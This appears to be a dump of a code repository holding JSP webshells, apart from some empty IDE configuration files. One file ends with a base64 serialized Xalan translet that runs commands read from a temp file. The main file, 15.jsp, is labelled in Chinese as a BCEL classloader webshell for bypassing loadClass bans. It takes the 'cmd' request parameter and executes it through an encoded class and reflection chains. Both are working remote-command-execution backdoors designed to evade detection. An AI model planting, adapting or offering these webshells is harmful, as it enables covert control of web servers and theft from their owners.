0vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAdAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRocmVlZHIzYW1TY3JpcHQyLmphdmEMACQAJQEACC90bXAvY21kAQALL3RtcC9yZXN1bHQHAHUMAHYAdwEAEGphdmEvbGFuZy9TdHJpbmcHAHgMAHkAegcAewwAfAB9DAAkAH4BAAElAQAADAB/AIABAAEgDACBAIIMAIMAhAcAhQwAhgCHAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJACIDAAkAIkMAIoAiwwAjACNAQABCgEAGGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbgwAjgCPDACQAJEMAJIAiwwAkwCUAQAYamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uDACVAJYBABNqYXZhL2xhbmcvVGhyb3dhYmxlDACXACUBABFUaHJlZWRyM2FtU2NyaXB0MgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABShbQilWAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAGZXhpc3RzAQAyKExqYXZhL25pby9maWxlL1BhdGg7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KVoBAAZkZWxldGUBABcoTGphdmEvbmlvL2ZpbGUvUGF0aDspVgEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACIAIwAAAAAAAwABACQAJQABACYAAAGLAAUABwAAAKUqtwABEgJMEgNNuAAEuwAFWSsDvQAFuAAGuAAHtwAIEgkSCrYACxIMtgANtgAOtgAPTrsAEFm3ABE6BLsAElm7ABNZLbcAFLcAFToFGQW2ABZZOgbGABMZBBkGtgAXEhi2ABdXp//oLAO9AAW4AAYDvQAZuAAamQAOLAO9AAW4AAa4ABssA70ABbgABhkEtgActgAdA70AHrgAH1enAAhMK7YAIbEAAQAEAJwAnwAgAAMAJwAAAD4ADwAAABEABAATAAcAFAAKABUAMgAWADsAFwBMABkAVwAaAGcAHAB5AB0AhAAeAJwAIQCfAB8AoAAgAKQAIgAoAAAAUgAIAAcAlQApACoAAQAKAJIAKwAqAAIAMgBqACwALQADADsAYQAuAC8ABABMAFAAMAAxAAUAVABIADIAKgAGAKAABAAzADQAAQAAAKUANQA2AAAANwAAADAABf8ATAAGBwA4BwA5BwA5BwA6BwA7BwA8AAD8ABoHADkc/wAaAAEHADgAAQcAPQQAAQA+AD8AAgAmAAAAPwAAAAMAAAABsQAAAAIAJwAAAAYAAQAAACcAKAAAACAAAwAAAAEANQA2AAAAAAABAEAAQQABAAAAAQBCAEMAAgBEAAAABAABAEUAAQA+AEYAAgAmAAAASQAAAAQAAAABsQAAAAIAJwAAAAYAAQAAAC0AKAAAACoABAAAAAEANQA2AAAAAAABAEAAQQABAAAAAQBHAEgAAgAAAAEASQBKAAMARAAAAAQAAQBFAAEASwAAAAIATHB0AAp0aHJlZWRyM2FtcHcBAHh4"))).readObject()).get("p"); 16 | try { t.getOutputProperties();} catch (Exception e) {} 17 | response.getOutputStream().write(Files.readAllBytes(Paths.get(tmp + File.separator + "result"))); 18 | %> 19 | 20 | 21 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /jsp/15/15.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %> 2 | <%@ page import="java.io.ByteArrayInputStream" %> 3 | <%@ page import="java.lang.reflect.Array" %> 4 | <%@ page import="java.lang.reflect.Constructor" %> 5 | <%@ page import="java.lang.reflect.Field" %> 6 | <%@ page import="java.net.URL" %> 7 | <%@ page import="java.security.Provider.Service" %> 8 | <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %> 9 | <%@ page import="java.util.Iterator" %> 10 | <%@ page import="java.util.List" %> 11 | <%@ page import="javax.activation.DataHandler" %> 12 | <%@ page import="javax.activation.DataSource" %> 13 | <%@ page import="javax.crypto.Cipher" %> 14 | <%@ page import="javax.crypto.CipherInputStream" %> 15 | <%@ page import="javax.crypto.CipherSpi" %> 16 | <%@ page import="jdk.nashorn.internal.objects.Global" %> 17 | <%@ page import="jdk.nashorn.internal.objects.NativeString" %> 18 | <%@ page import="jdk.nashorn.internal.runtime.Context" %> 19 | <%@ page import="jdk.nashorn.internal.runtime.options.Options" %> 20 | <%@ page import="java.util.HashMap" %> 21 | <%@ page import="java.nio.file.Files" %> 22 | <%@ page import="java.io.File" %> 23 | <%@ page import="java.nio.file.Paths" %> 24 | 25 | 26 |

BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

27 | <% 28 | String tmp = System.getProperty("java.io.tmpdir"); 29 | Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("cmd").getBytes()); 30 | 31 | Class serviceNameClass = Class 32 | .forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName"); 33 | Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class); 34 | serviceNameConstructor.setAccessible(true); 35 | Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null); 36 | Object serviceNameArray = Array.newInstance(serviceNameClass, 1); 37 | Array.set(serviceNameArray, 0, serviceName); 38 | 39 | Class lazyIteratorClass = Class 40 | .forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator"); 41 | Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1]; 42 | lazyIteratorConstructor.setAccessible(true); 43 | Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader()); 44 | Field namesField = lazyIteratorClass.getDeclaredField("names"); 45 | namesField.setAccessible(true); 46 | namesField.set(lazyIterator, serviceNameArray); 47 | 48 | Constructor cipherConstructor = Cipher.class 49 | .getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class, 50 | List.class); 51 | cipherConstructor.setAccessible(true); 52 | Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null); 53 | Field opmodeField = Cipher.class.getDeclaredField("opmode"); 54 | opmodeField.setAccessible(true); 55 | opmodeField.set(cipher, 1); 56 | Field initializedField = Cipher.class.getDeclaredField("initialized"); 57 | initializedField.setAccessible(true); 58 | initializedField.set(cipher, true); 59 | CipherInputStream cipherInputStream = new CipherInputStream( 60 | new ByteArrayInputStream(new byte[0]), cipher); 61 | 62 | Class xmlDataSourceClass = Class 63 | .forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"); 64 | Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0]; 65 | xmlDataSourceConstructor.setAccessible(true); 66 | DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor 67 | .newInstance("", cipherInputStream); 68 | DataHandler dataHandler = new DataHandler(xmlDataSource); 69 | Base64Data base64Data = new Base64Data(); 70 | Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler"); 71 | dataHandlerField.setAccessible(true); 72 | dataHandlerField.set(base64Data, dataHandler); 73 | Constructor NativeStringConstructor = NativeString.class 74 | .getDeclaredConstructor(CharSequence.class, Global.class); 75 | NativeStringConstructor.setAccessible(true); 76 | NativeString nativeString = (NativeString) NativeStringConstructor 77 | .newInstance(base64Data, new Global(new Context(new Options(""), null, null))); 78 | 79 | try { 80 | new HashMap<>().put(nativeString, "111"); 81 | } catch (Throwable e) { 82 | response.getOutputStream().write(e.getCause().getMessage().getBytes()); 83 | } 84 | %> 85 | 86 | 87 | -------------------------------------------------------------------------------- /.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 10 | 524 | --------------------------------------------------------------------------------